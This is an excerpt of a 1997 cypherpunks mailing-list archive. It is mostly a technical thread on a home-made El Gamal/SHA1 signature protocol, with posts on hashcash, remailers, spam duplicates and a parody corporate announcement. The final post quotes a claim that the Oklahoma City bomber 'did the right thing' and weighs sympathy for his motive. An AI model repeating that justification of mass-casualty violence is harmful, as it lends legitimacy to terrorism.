st.nepean.uws.edu.au Tue Dec 2 15:59:41 1997 From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa}) Date: Wed, 3 Dec 1997 07:59:41 +0800 Subject: Pasting in From: In-Reply-To: <19971202202007.11359.qmail@nym.alias.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On 2 Dec 1997, Charlie Comsec wrote: [...] > I can think of a couple of ways this could be implemented. You could either > allow the user to select an e-mail address to use, then do an nslookup to > verify that the domain does not exist, I would suggested useing "example.com" as such an address. This address is garoned to never be resolvable. - -- Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. ex-net.scum and proud You Say To People "Throw Off Your Chains" And They Make New Chains For Themselves? --Terry Pratchett. I do not reply to munged addresses. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBNISLKqQK0ynCmdStAQGtFgP+I2up+A8PTl/a6mdCiXI7IUszGHqqjlO7 ExtLfl2hvbLbuWDrQVUZGk2Qwsc9xSj0NeFXlANROrZTcWQf6vVCMM6JVwW82qgE nnTtWpbtKqlhnvKkn4BKSnJd1UDsPribd/IsAGa5lGuzw7Yd4tMYDjkVg5FUdPgV +mdoZ3ATDd8= =uQTo -----END PGP SIGNATURE----- From 93704355 at 08177.com Wed Dec 3 08:02:31 1997 From: 93704355 at 08177.com (93704355 at 08177.com) Date: Wed, 3 Dec 1997 08:02:31 -0800 (PST) Subject: Delete if you do NOT have or plan to have a webpage. Message-ID: <> Online Sales & Marketing (OSM) would like your assistance With an Internet marketing survey. Your assistance would be greatly appreciated. Please go to: http://www.osmweb.net/survey2.htm ------------------------------------------------------------------------------------------------ We believe in free speech and responsible online Mass marketing. To be removed from all future mailings correctly, please send remove request to: remove at tmi-osm.net From 93704355 at 08177.com Wed Dec 3 08:02:31 1997 From: 93704355 at 08177.com (93704355 at 08177.com) Date: Wed, 3 Dec 1997 08:02:31 -0800 (PST) Subject: Delete if you do NOT have or plan to have a webpage. Message-ID: <> Online Sales & Marketing (OSM) would like your assistance With an Internet marketing survey. Your assistance would be greatly appreciated. Please go to: http://www.osmweb.net/survey2.htm ------------------------------------------------------------------------------------------------ We believe in free speech and responsible online Mass marketing. To be removed from all future mailings correctly, please send remove request to: remove at tmi-osm.net From 03129704com2 at tmi-osm.net Wed Dec 3 08:15:32 1997 From: 03129704com2 at tmi-osm.net (03129704com2 at tmi-osm.net) Date: Wed, 3 Dec 1997 08:15:32 -0800 (PST) Subject: Delete if you do NOT have or plan to have a webpage. Message-ID: <> Online Sales & Marketing (OSM) would like your assistance With an Internet marketing survey. Your assistance would be greatly appreciated. Please go to: http://www.osmweb.net/survey2.htm ------------------------------------------------------------------------------------------------ We believe in free speech and responsible online Mass marketing. To be removed from all future mailings correctly, please send remove request to: remove at tmi-osm.net From 03129704com2 at tmi-osm.net Wed Dec 3 08:15:32 1997 From: 03129704com2 at tmi-osm.net (03129704com2 at tmi-osm.net) Date: Wed, 3 Dec 1997 08:15:32 -0800 (PST) Subject: Delete if you do NOT have or plan to have a webpage. Message-ID: <> Online Sales & Marketing (OSM) would like your assistance With an Internet marketing survey. Your assistance would be greatly appreciated. Please go to: http://www.osmweb.net/survey2.htm ------------------------------------------------------------------------------------------------ We believe in free speech and responsible online Mass marketing. To be removed from all future mailings correctly, please send remove request to: remove at tmi-osm.net From neta at dev.null Tue Dec 2 16:35:14 1997 From: neta at dev.null (Network Associates, Inc.) Date: Wed, 3 Dec 1997 08:35:14 +0800 Subject: Network Associates Announcement!!! Message-ID: <3484A4BC.1054@dev.null> ~ NETWORK ASSOCIATES ANNOUNCEMENT ------------------------------- Network Associates, Inc., is proud to announce that we have named TruthMonger our Chief Director of Security, adding his (or her) immense reputation capital to our already respected corporate image. No communications purporting to be from Network Associates, Inc., should be considered valid unless signed by the key provided below. TruthMonger is also authorized to accept payment, in cash only, of any money due to Network Associates, Inc., and all of our subsiduaries, at the following address: NETA c/o TruthMonger Box 281, Bienfait, Saskatchewan CANADA S0C 0M0 Network Associates, Inc., plans to use TruthMonger's extensive key-forging experience to help make digital signatures basically meaningless, in order to help lessen the potential legal and/or criminal repercussions of any future Key Escrow legislation. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP for Business Security 5.5 Comment: "I Broke PGP!" mQGiBDSEmSYRBADgXaNjJkY7NmVjhXJGg0+8Sua4oYJ+tkG959T1lYFsCLVity0V fRH6ygoHaRe/YiXxqQnbXyt3Fo6oF8MdXDWLMTkpR1NZn5kIcUnDrGv6G3Y+bW8j fHy79JjX17OPPJS5FLIaATubngiRNJMwpn34cQIM812iDgUfrdxiFUQSwQCg/6ju lTyy+oFaxBTTUsBlYbkhDpUD/2PxF1JN53oHiCZb62PXoVE/QfN7i+ABpR0PW5jC TiaQwh7jEbVctYnzhSPjccUJSQ+XEwTbjrCS4xYftoIlkRsVSzbFcRIbelDP7kQw GM2UExhsHVNhpsq+benT7LfcFnACYYu6GjMIY+v3CfJYidJ94DN3E5D60Q+UEz/M sTEUBAC8h94Xk1l8IsItOPNbj8k0o7yfll8cqKHbe1CpSUBS6nZ0kwBq5WONkptx O4zBOsxlf/WnVo6C5ojgB2TeFWZoXj98X7S4QaVvHM3YFJuIHLw8gcS3HHahLphh bKGlffWF3FfQCJr2Rd6fk2SeZp2TZoCqLKt8UMwxbGjQa39dD7QvTmV0d29yayBB c3NvY2lhdGVzLCBJbmMuIDx0b3RvQHNrLnN5bXBhdGljby5jYT6JAGMEEBECACMF AjSEmSYXCgARh4SIT1mMRHX7HCWvKiZqcerSJDgECwMBAgAKCRA314vi4fVSmhyZ AJ9M8SPYgr4apBO0PAJwjg2bQDcvrACdF2vW+SsVL4r3EMP2vlHfZ0fSinKJAKAE EAEBAAoFAjSEmqUDBQF4AAoJEJ8TeU28wEKx7rED/2dajEBpvE/KtSUW9CbSPKyr 3rzULey4iBHOcrPqSgD7z6iXAs16O6sBWclrr30IJ/IdJ5kaTsNXjcmny2GpMUSq 1jbf3quenBIN6zkZLx08ZRPyHjdlmS7/PSOkvI7gKe3NLRjJ9QImytY1uLoAIHjO iFXLyTq2kGW/fMK85g4QuQQNBDSEmSsQEAD5GKB+WgZhekOQldwFbIeG7GHszUUf Dtjgo3nGydx6C6zkP+NGlLYwSlPXfAIWSIC1FeUpmamfB3TT/+OhxZYgTphluNgN 7hBdq7YXHFHYUMoiV0MpvpXoVis4eFwL2/hMTdXjqkbM+84X6CqdFGHjhKlP0YOE qHm274+nQ0YIxswdd1ckOErixPDojhNnl06SE2H22+slDhf99pj3yHx5sHIdOHX7 9sFzxIMRJitDYMPj6NYK/aEoJguuqa6zZQ+iAFMBoHzWq6MSHvoPKs4fdIRPyvMX 86RA6dfSd7ZCLQI2wSbLaF6dfJgJCo1+Le3kXXn11JJPmxiO/CqnS3wy9kJXtwh/ CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4 DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/ Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUd D3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGx KUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkm uquiXsNV6z3WFwACAg/+McnUlkw0KkNcBxN0w/mvo7/2QcEWXyfXiqpIcGj/DytA l0nh77hd+RPPqqXQHgkp56hPpp7nK8gAZnkxJcycOYMbPIgKvAGi9gQO7bd2oth7 TWUlfimTIYPrscLJNn/HQ5nA8mU28Ajq/Zlq/0XhpsQiRH5Ygr2IW1tldrrgiOho pYHsdPOkxZaPIHFKIqt6l/GtBnPA6+KYul53pfBt4DTPSk02RYsD9u/pqoJ/oEYW BrO/FzsKXzpIJxWCNvVm8GlakEw2isZ9zT4H5KRqhRLc9+SyeupF5ztosZKNs0dn nGaWVrCjx28G86xVnONi6fntGzL57Pb5JRvyrAbFDEXfL9rUrgLFx78LY4fSavP8 caB3IkQomuXZezQGusy4LMhna0ZYNioHyFzZU2DYU0EcuG8qrz+sKEIaYIpCiBPq IohclEgsA9ygaPjefiTpCEb07gGGD0rh6aRYpaQGCd8sSWIqm8IWql+ePkqwVWR8 WHyZWH6STvUQsZCE1GhJQqyai4i6KnVNrYzYF2UinP7d5AYUsaRGypdHsFDx9Yhg YC5OFsR0BXnz9bm3tn3SSoVDp7b9Xo9V3FpiQ+9ZgjXD2eEbWumv/upoVu2ekbiK CM4Dt3OoBPQBpkFan5FqCSY7255yCPU9YzQ7mmEpFWvfbSNR/Cls+ZT2GR7T1nOJ AEYEGBECAAYFAjSEmSsACgkQN9eL4uH1UpoCiACgnAXXUm5yyak30HJL1FeYdh0B xekAnA/VnnGkzVY1kQRQNpWQXdHdpL5F =3BX/ -----END PGP PUBLIC KEY BLOCK----- From nobody at REPLAY.COM Tue Dec 2 16:35:16 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 08:35:16 +0800 Subject: Minsky skeptical of privacy Message-ID: <199712030029.BAA27972@basement.replay.com> >Monty Cantsin wrote: >>Incidentally, does anybody know what percentage of the research >>funding Marvin Minsky has used in his career was directly or >>indirectly related to the defense establishment? >> >>The interesting thing about the privacy "debate" is that there is an >>exceptionally high correlation between opposition to privacy and the >>consumption of public money. > >Monty's customary reasonableness goes bizarro with these statements. > >In that direct or indirect defense funding implicates just about >every US citizen, even world denizen, not holed up in a treetop for >the last half century of national security octopussing. Sore nerve in a glass house, eh? Charming Minsky still does a Denning. Trillion dollar pork barrel: some gives, some takes. Not both. Every rat pulls the lever, gets the pellet. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Minsky skeptical of privacy To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 580A9FF819A9D82ED73411168CA833871952D312 -40B 40B 27BED6C64DBFC666B520211E8B6168187BC898CDCA837C27A86C616D5CA30A51795F68AE548F8F743385A69AA748A9DA8D96AF95A34335716A2F761187D13677CE00A7D7998EA2F3C9DA8D6937704F8EC0C7BF03563EAEAACE767F5E9504F63840C37533AD75E7BBA867C8FA993AE476B15EE3B456EB0805747A39F1DA34F6AC3305BCCCA646D21E6CE91ABF2E80DA53379D0C81B132BED4664BEE496C4F3F6158FE5F48FE31054F99BDC66BE9A21EB001B226C6C8B1F5A901CBC344A42893D1B8815C27A8F14E83550D14258F4583729FFA48F26DC07BA5EF696F8CF52488AA45B0607A2D96097C7580C3159483F6DA1544B4ABA47FE3E89AA5520D024BD26F D4E4B3DD06B34B9E0075A6155DCA73CA39D66BA46E8C9F59FB2FF085E2FBEA588A605263DF1F41F33E10DD052DE34A890DCEAFDC9BB969A21B39DA034EBE44A94F18182D8C44BEDD0F2536A65906ED82C6D86D6B2F986D67128E8032A73CD8495FE8760CDF2A41F5C174AC2E1649116A46A338E1CC70179893AAD552F37ECBE3BDB83C40F10C37CADA3C60AC765A3F606FD2E9EB26C70F3B759870E129745F74D3BB46D06254AFAA7F0718981271DFBDC804A89F509CE27F2B2B0CF106C4738D03D5F22F093D421F5B5FD495D18722A2F6A802AC697810AAFE3EB50D47EFCC315E0C53B0B23CC45E47B45976B6F114139EB6C134F052B377C7668E83BB29B19 From nobody at REPLAY.COM Tue Dec 2 16:44:09 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 08:44:09 +0800 Subject: Cantsin Protocol No. 2 Message-ID: <199712030038.BAA29410@basement.replay.com> Anonymous wrote: >Monty Cantsin writes: >> You can't see it up here, but this is a signed message using a >> protocol which is modestly titled "Cantsin Protocol No. 1". >> Suggestions for improvement are most welcome. > >A very interesting idea! Please consider the following suggestions >if you like, or feel free to ignore them. Your suggestions were very helpful. Thank you for making them! I'm calling the latest version "Cantsin Protocol No.2" and its identifying number is "25BA1A9F5B9010DD8C752EDE887E9AF3". It is similar to Cantsin Protocol No. 1, but the bug with the hash of the public key is fixed. Instead of concatenating the values p, g, and y, you concatenate "p:

g: y:" and compute the hash. p, g, and y should be represented as ASCII hexadecimal digits without leading 0s. The hashes should now be correct SHA1 hashes. >One problem with signatures which have no indication at the top is >that two passes over the data are necessary: the first to scan and >find the start-of-signature indicator, and another to go back and >calculate the hash. Signatures such as S/MIME and PGP have enough >information at the top of the signed message to allow one pass >processing. My thinking on this is that passes are cheap these days. I want the signature to be unobtrusive which probably can't be done if only one pass is required. Incidentally, a nice feature of these signatures is that they can be moved around in the file just by changing the offset. You don't need to control the secret key to do it. >> The first line is "16A5942B6EED349ECF4594C784DFD177 [Cantsin >> Protocol No. 1]". The hexadecimal number was chosen randomly and >> is the indicator that this is a Cantsin Protocol No. 1 signature. >> The number was chosen randomly and it is somewhat unlikely that >> anybody else will accidently choose it. > >You might want to think about what happens if the document itself >contains (maliciously, or perhaps because it is talking about your >signatures) the string in question (as yours does and this one does >as well). This could throw off an automated signature checker. The signature checker should ignore bad or incomplete signatures. I would consider this to be a bug in the software and not a bug in the protocol. A bad signature simply lacks meaning and an error message need not be reported. That might seem a little callous, but actually it's how we should regard signatures. The current model seems to be "computer, check the signature on this file and tell me if it's good", whereas the correct (in my view) model is, "computer, extract all of the material from this file which is properly signed and throw out the rest." (Of course, you could imagine a smart editor which highlighted the areas of a document which were signed by various parties. It seems a little early to implement this.) If it's not authenticated, you shouldn't even look at it. I've taken to putting the To: and Subject: header lines at the bottom of my messages for this purpose. There's really no need to keep any of the header fields. The header fields can be put at the end just as unambiguously as at the beginning, but at the end they can be signed. >> The second line in the signature is an SHA1 hash of the public key. >> The hash is computed on the concatenation of the hexadecimal ASCII >> forms of p, g, and y respectively. There should be no leading zeros. >> (Remember to leave off the newline!) > >Presumably you could use the key hash to look up the key to use for >verifying the message. Strictly speaking it's there to save space. If we put the public key components in every signature it wouldn't be much harder for the key management software to compute a hash on them somehow. This does not have to be standardized. >This has a mild denial of service attack. Someone else could create >a key with different boundaries between p, g, and y but which would >create the same string as this concatenation, and therefore the same >hash. If you left the "p: ", "g: ", and "y: " in place it would >prevent this. PGP's key fingerprints have had the same problem. ACK! I knew about this problem, but I couldn't remember exactly how it worked. So I said, "Monty, let's not be dumb like those PGP guys. Let's concatenate the keys together and compute the hash. Nobody will ever..." Thank you very much for pointing this out. >> The fourth line contains an offset and a length to specify the area >> of the text which is signed. The offset is relative to the >> signature itself. That is, the first character of the Cantsin >> Protocol No. 1 code is at position 0. As signatures are usually >> appended, the offset will usually be the additive inverse of the >> length. > >It is intriguing that this can be used to sign a subset of the text. >Presumably there could be multiple signature blocks each of which >signed different subsets, possibly with different keys. One problem >is that it is not obvious to the human reader what part of the text >is signed. A nice effect with PGP and S/MIME signatures is that even >readers who don't have the tools can have some slight confidence in >signatures, because other readers will often report it when >signatures don't verify. With a signature that only covers a portion >of the text, people might assume that if there are no reports of >failure, more of the text is signed than is the case. This is not a >technical problem but is a social phenomenon which may not interact >well with this signature format. People who want this feature should type something like "BEGIN CANTSIN PROTOCOL NO. 2" and "END CANTSIN PROTOCOL NO. 2" into the text at the right points. >You need to specify a canonical line ending format. Based on the >count values in your document, it appears that you are counting line >terminators as being one character long. Your count value of 1CB9 >corresponds to decimal 7353, there are exactly 7353 characters from >the first character of your message body to the beginning of your >signature magic number, if line ends are one character. > >The specific characters for line endings need to be specified as well >for the hash to be calculated consistently. Your hash appears to be >calculated with LF as the line ending (although the hash program is >broken, see below). Probably CR/LF would be preferable for the line >endings as that is a widely used internet standard as well as being >common on windows. My feeling on this is that this is outside the scope of a signature protocol. The protocol should not make any assumptions about what is being signed nor should it modify what is being signed. I use LF to terminate lines and would recommend this to others, but it is not part of the Cantsin Protocol No. 2 specification. In any event, if we must put in patches to handle the poor fidelity of electronic mail, the patches should go in afterwards. When a signature checking program finds ">From" it should replace it with "From" and see if it can get the right checksum. Likewise, it should try the various line endings until it gets a match. There can't be more than about 12 variants, so this shouldn't create an onerous burden on the machine. (And, I suppose, it would be possible to add a field after the length or after the hash which made a suggestion about the line ending.) >> You also need to be able to compute SHA1 hashes. I've been using >> something called "sha1file" which, I believe, originated at Adam >> Back's web site. > >That program has a bug. The routine SHA1_update in the file sha1.c >is missing a line: > > CENSORED BY THE UNITED ST > A > TES GOVERNMENT CENSORED BY THE UNITED STATES > GOVERNMENT CENSORED B > Y THE UNITED STATES GOVERN > MENT CENSORED BY THE UNITED > STATES GOVERNMEN > T CENSORED BY TH >*** E UNITED STA *** MISSING *** > T > >Correcting this will make your hashes be correct. Another great suggestion. The hashes should be correct now. Incidentally, in another thread I've been talking about partial signatures. The code above is an example of where this would be useful. In some countries we are not allowed to express ourselves freely without persecution. If I wanted to provably quote somebody who included forbidden ideas in their message, it wouldn't be possible without partial signatures. >> El Gamal is simple enough that the signature on this message can be >> checked using standard Unix tools such as dc version 1.1. Let's >> say M is the SHA1 hash of the message. It is checked by verifying >> the truth of this equation: (y^a * a^b) mod p = g^M mod p. > >El Gamal is a rather lengthy signature, although the verification >equation is relatively simple. DSS has a shorter signature. This might be a good thing to add to a later Cantsin Protocol. >There are some subtleties to choosing El Gamal keys, but with the >2048 bit values you have chosen you are pretty safe. Schneier doesn't mention this, although presumably this information will show up in one of his references. Do you know offhand of a published source which covers this? >Also, you can't really justify using 2048 bit keys when your hash is >only 160 bits. The hash becomes the weak link for keys beyond about >1024 bits, and unless you use a stronger hash your key strength is >misleading. This is why DSS is only specified up to 1024 bits. This is just intuition, isn't it? Since we really don't know how hard it is to factor it seems hard to claim we know the ratio of difficulty between breaking SHA1 and El Gamal. Factoring could be broken before SHA1. Not that any great science was applied to the choice of a 2048 bit prime, it just seemed like a good size. ;-) Also, I think it is a mistake for people to communicate the strength of a system by choosing various key lengths based on general popular views. It's probably better to say "I estimate this system requires at least 2^x operations to break." We've seen this with people choosing short keys so nobody will get the idea that it is secure. This just seems all wrong to me. The key length is only one way in which a key could be insecure. Monty Cantsin's authentication key, for example, is not kept very securely. But, the way to communicate that is to say "this key is not kept all that securely." However, in Cantsin Protocol No. 2 the size of the prime chosen is completely unspecified. There doesn't seem to be a reason to restrict the choice other people will make regarding the length of the prime. I could imagine choosing a short key for control over a semi-persistent identity. The advantage is that you can claim somebody else brute forced the key for statements you wish to repudiate. Similarly, I could imagine choosing an obnoxiously long key to make it hard for people who don't have super fast machines to associate with you. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Cantsin Protocol No. 2 To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE C602F22D31BBC6245643E58AD8EB260B58DC1250 -2B49 2B49 CEDDBC793332877C29C3BF084DDD8DE8113E6C80E13995BCAFACE2E7D719194A8CAEB987D2DAC013204F1A2909B1FADCB7EFE39F0F764B140CA5711D057B4EF1EF880ACAF1FF19FB5E92E4A8E4F1CE4B0F18CBB37274629EDACFF412C5A971C20869A956497491F41F3D0E7791F85E18ED638B0552A275CF2F24002646084CB3BCF0AE52A38826D1D986CBE460B793836291326C3636A452B54A79DE949CB6A12FD1852D9FC438D6D7E63989CC031161B8872E1EE60D0C4521FCF7096B98E1DEF560432314258359370763BCE5D3D4610B097DC68C1EDCD1F3D5084069C74191C798383C3BF822EC97DE84531B20ECCB36B13EC9153252C88FFAFE71CD65B197 AFC25A731FAD9BB9A373B7D9972EA9CED870CC6FDACE0B2A2AEAC4F0C33115B15E689CBF943B757F8690C945CC1CB29E4F86276EB0643E215ADB92CEFE1394DD8320DDF703D4212EFEFA59081C21BBD2ED6282304D2DB496735BBCB3E5B802C2B78037EC041DDD8BBC1E4712CF18E56237E5BCDB37127F538BEF1E0038949B42F88140E608F02282570388D07785841069FD76EFC78E170E12DC1CF6570E7D67603707E15717704EBF8DE50014141DC8F8C80432333B5647B176093A45834F4460BDD2465306AE56156EFE1D0686F0FB4F7743CED116F47121EB4970B4CFDBEC6E56E90AADAA97836E95F3723B3216E99EC9FDE324943AFF6F257880423DFCE7 From aba at dcs.ex.ac.uk Tue Dec 2 17:23:50 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 3 Dec 1997 09:23:50 +0800 Subject: hashcash spam throttle In-Reply-To: <3.0.3.32.19971202094253.037e0654@mail.atl.bellsouth.net> Message-ID: <199712030044.AAA01172@server.test.net> Robert A. Costner writes: > It's much like spam. It's a very shortsighted view when a user says "why > can't you just hit the delete button?" This is an incorrect answer for a > user who received one piece of spam, but whose small ISP, being the relay, > lost all mail services for two days. See HashCash: http://www.dcs.ex.ac.uk/~aba/hashcash/ Hashcash ensures that the would be spammer has to consume more resources than you do. Hashcash is arbitrarily expensive to create and cheap to verify. It's also decentralised and anonymous. Adam From aba at dcs.ex.ac.uk Tue Dec 2 17:32:56 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 3 Dec 1997 09:32:56 +0800 Subject: Pasting in From: In-Reply-To: <3.0.3.32.19971201204450.006c596c@popd.netcruiser> Message-ID: <199712030033.AAA01161@server.test.net> Jon Weinke writes: > Sounds like a good reason for remailers to use throwaway email accounts at > Juno, MailExcite, Yahoo, etc. as their exit points. Wasn't somebody > working on this? Ian Goldberg wrote some perl code to do it for a couple of the web based ones. I think some of the remailers are using it. Adam From nobody at REPLAY.COM Tue Dec 2 17:40:47 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 09:40:47 +0800 Subject: Freemen and Serfs Message-ID: <199712030131.CAA08208@basement.replay.com> Anonymous wrote: >This model of "sheeple" doomed to slavery while cypherpunks >comfortably live independent of the state is even less plausible than >the original idea of crypto anarchy. It appeals to our elitist >instincts and makes us feel comfortably superior, but it has little >connection to reality. If elitism had been intended, the subject would have been "Lords and Serfs". Freemen are more like people with some rights, some property, and some skills, but who are not serfs. >This idea overlooks the "fax effect", where the value of a technology >rises in proportion to the number of people who use it. Cypherpunks >will have to set up a virtual Galt's Gulch, trading only with >themselves, and unlike in Rand's fantasy the limitations of such an >economy will soon be apparent. Early cypherpunk experiments like >"Magic Money" showed how pointless a virtual cypherpunk bank would >be. Cypherpunks should be able to provide services which slavers and others want. This could be code. It could be expertise. It could be connections. Whatever. The slavers have things to offer cypherpunks, whether it's food, construction work, hardware, etc. Whatever the medium used to trade these services, there is no reason why the slavers would forego the services they may want. Assuming that the Freemen aren't agitating on behalf of the slaves, that is. We don't need all the slavers to deal, nor do all cypherpunks have to deal with all slavers. Just some members of both groups need to get together and trade. >In an increasingly interdependent world economy, the only hope for >cypherpunk technologies to succeed is to extend them as far as >possible throughout society. Standard doctrine, but I no longer believe it is sound. We've been at it for years now. Are the masses using crypto? I didn't think so. It's a waste of time to sell to people who think they "have nothing to hide". Even if they were using crypto, they would accept snoopware if it were accompanied with the right media programming. Which means that instead of proselytizing, it's probably better to develop systems which we can use which are expensive-to-impossible to thwart even in hostile environments. There's no need to turn people away, of course, but begging people to help themselves is a poor investment. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Freemen and Serfs To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 04480B5C1D4BAC4412B56B45C914FC0729EACD0D -9E1 9E1 D091B591FD5A62F87A13E9F150FD1784E96406AC12BC3CC26C5BF4F724C2356CB55E30D8580CF00BEB24F44B8C3AE5538B396B211D86A0196CE2E682C2A23386818117C27DCAB370687DDF196C7E747ACC06FA9F1260DC403A3C67809B386AE720A031FDE0A2AB6D09AFEBDC4D38B737A6C688BD57FF6F365D197B447930174E91C6C5413255374C5572D3C883B9CF671E261A9EA731B40F945EDB921A93FDDF4178F5C408C737DB68BCE408F44DEFF3372B8EDD9881DF23AE68F272BDFB4AD641069F9ED040E50FE1D97713E9397AA6E0ACDAA4DC6EA2D7DF60C2A8CB436D14A94B6D60FFB7B579925759E67BC967EDE3978FFDCB69B8F63321FD8F37129F61 8DE018E1A7E38960CFFAF89947FBFBF02F3130909363E22F700E12D9F23E90BEB1F877EA5B9C754C197A9F082959F84A0E037DC46A82406A73463FE9E954EC18B729DBFCCD2AAEC09BE8CC547BF2CF53C15C8A4DCB38B20AA479B87760A1ACCFEB93B999F431D714C7C687F01A692736DA9984D31FB8C01A89E3832AC1442B809BC22240A6300E49BFFD5674FE2D0589CF076CD21F6B909BA8914C4C964991145A7B0BB5E7FCECD0D5719DD869DBB6543807FB7498E83E24FAB778FCF597B5DB6FB1193F6F9E6AE1C0412DBCC15CC35DEFE7EE0B0FF108962323E5079ECF15FF3BD1C5FD676A42E8D579217372B9DF24B0A619CC95A41EBDE44E9D1295A566D6 From nobody at REPLAY.COM Tue Dec 2 18:05:26 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 10:05:26 +0800 Subject: Is Tim May guilty of illegally advocating revolution? Message-ID: <199712030151.CAA10375@basement.replay.com> A ghost speaking through the medium replay.com communicated: >Everyone likes to overlook this, pretending that May didn't mean it. >Well, he never withdrew it, did he? He never apologized for it. >He's on the record as explicitly calling for the murder of high >officials. > >And of course May further revealed his true colors with this horror, >from the same message: > >> Every day that passes, I'm more convinced that McVeigh did the >> right thing. Some innocents died, but, hey, war is hell. Broken >> eggs and all that. > >May's apologists have tried to pretend that he didn't say this, that >he said that he was beginning to understand McVeigh, or something. >That's not what he says here. He says he is becoming convinced that >McVeigh did the right thing in murdering all those people. Whether we like it or not, many people are sympathetic with McVeigh. Some are considering whether actions like bombing Federal buildings are justified. It's far far better that these issues are raised and discussed. >He callously compares the shattered bodies of the children and other >innocent victims to broken eggshells. Monty Cantsin has provided us >a moving description of the painful deaths of the children in Waco. >Will dying of asphyxiation under pressure too great even to draw a >breath be any easier? You've hit upon something interesting here, Anonymous. Let's consider three groups of children. 1. ~100,000 children harmed in Iraq. 2. ~40 children harmed in Oklahoma City. 3. ~20 children harmed outside Waco. Of these three groups, the third upsets me the most. Why? There are several factors. One is the extent to which the people committing the actions claim to represent me. It is often claimed and widely believed that the Federal government is acting as a representative for and is answerable to the American people. (Allow Monty Cantsin a hollow laugh here.) That being the case, Waco is far more upsetting than Oklahoma City in this regard because McVeigh (or whomever) is not thought to represent a sizeable proportion of the American public. In the case of Iraq, this factor raises my concern well above other places in the world where children are mistreated. Of the three groups of victims, I identify most strongly with the people in Waco. While not strongly religious myself, I respect people who have unusual beliefs and stick to them. And I have sympathy for those who might live in unusual ways. While I share a culture with the victims in Oklahoma City, in general we would have little to say to each other. I don't know anything about people in Iraq. This factor probably governs my feelings on the matter most strongly. The motivations of the people committing the acts are important. I do not believe that McVeigh (accepting the standard paradigm) meant to kill children. He certainly meant to kill people who had no involvement with Waco. I do not approve of his choice. I would maybe even kill somebody to prevent it from happening. But, one feels differently when children die more or less by accident than when it is cold bloodedly premeditated. In the case of Iraq, it is extremely hard to justify killing kids for their oil. The provocation that leads to an act must also be considered. I am extremely sympathetic with McVeigh's desire to do something about Waco, even though I do things less violent and (hopefully) more effective. There was no reason whatsoever for the Waco crime to be committed, likewise people living in the Middle East have not really committed any provocative act more serious than having oil on their land. The mob mentality that seems to have gripped the United States during the Waco atrocity has a particular horror which is absent in the case of Oklahoma City and, right now anyway, mostly absent with Iraq. The blatant misrepresentation of what was occurring and the degree to which people were compliant with it is shocking. There was no serious attempt to investigate the motivation behind the raid, or even what was actually occurring from day to day. The aftermath was even more horrifying. The government attacks and murders ~80 innocent people in the most brutal way for no identifiable reason. And all anybody can seem to do is to try to protect the establishment, instead of finding out exactly what happened, instead of charging the criminals who perpetrated the horror, instead of taking the necessary actions to make sure nothing like this will ever be done again by the Federal government, and instead of telling the truth. The implications of the three situations create varying degrees of alarm. I do not expect to see many more bombings. Bombs are nothing new. They've been around for over 100 years and they are a manageable problem. Every few decades there's been a big explosion. It is unlikely McVeigh will do something like this again. In the case of Iraq, I'm used to governments behaving this way and I do not see it directly affecting me very soon. (Perhaps this is a bit insensitive.) Waco, however, is quite another matter. When you watch the footage it gives you the creeps because what is being reported belongs in the 1940s and the people should be speaking German. Instead, everybody speaks English with an American accent and it's happening right now. When you see an FBI agent justify what happened on the grounds that he goes to a "normal" church and has a "normal" family, and when you see other officials state that they wanted to harm the children to encourage the parents to turn themselves in, the implications are that we have a very serious problem that will not go away by itself. Finally, in the case of Waco, the people in charge had all the time in the world to think very carefully about what they were doing. They apparently decided to kill everybody they could, including particular children whose names they knew, whose pictures they had seen, and some of whom they may have even spoken to on the telephone. This really is hard for me to understand. I can't imagine what kind of person can do something like this. This horror is particular to Waco. In the case of McVeigh and the people making policy regarding Iraq, the victims are at least anonymous. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Is Tim May guilty of illegally advocating revolution? To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 194C5F507117380477F77027D4EB123D860F9954 -193C 193C 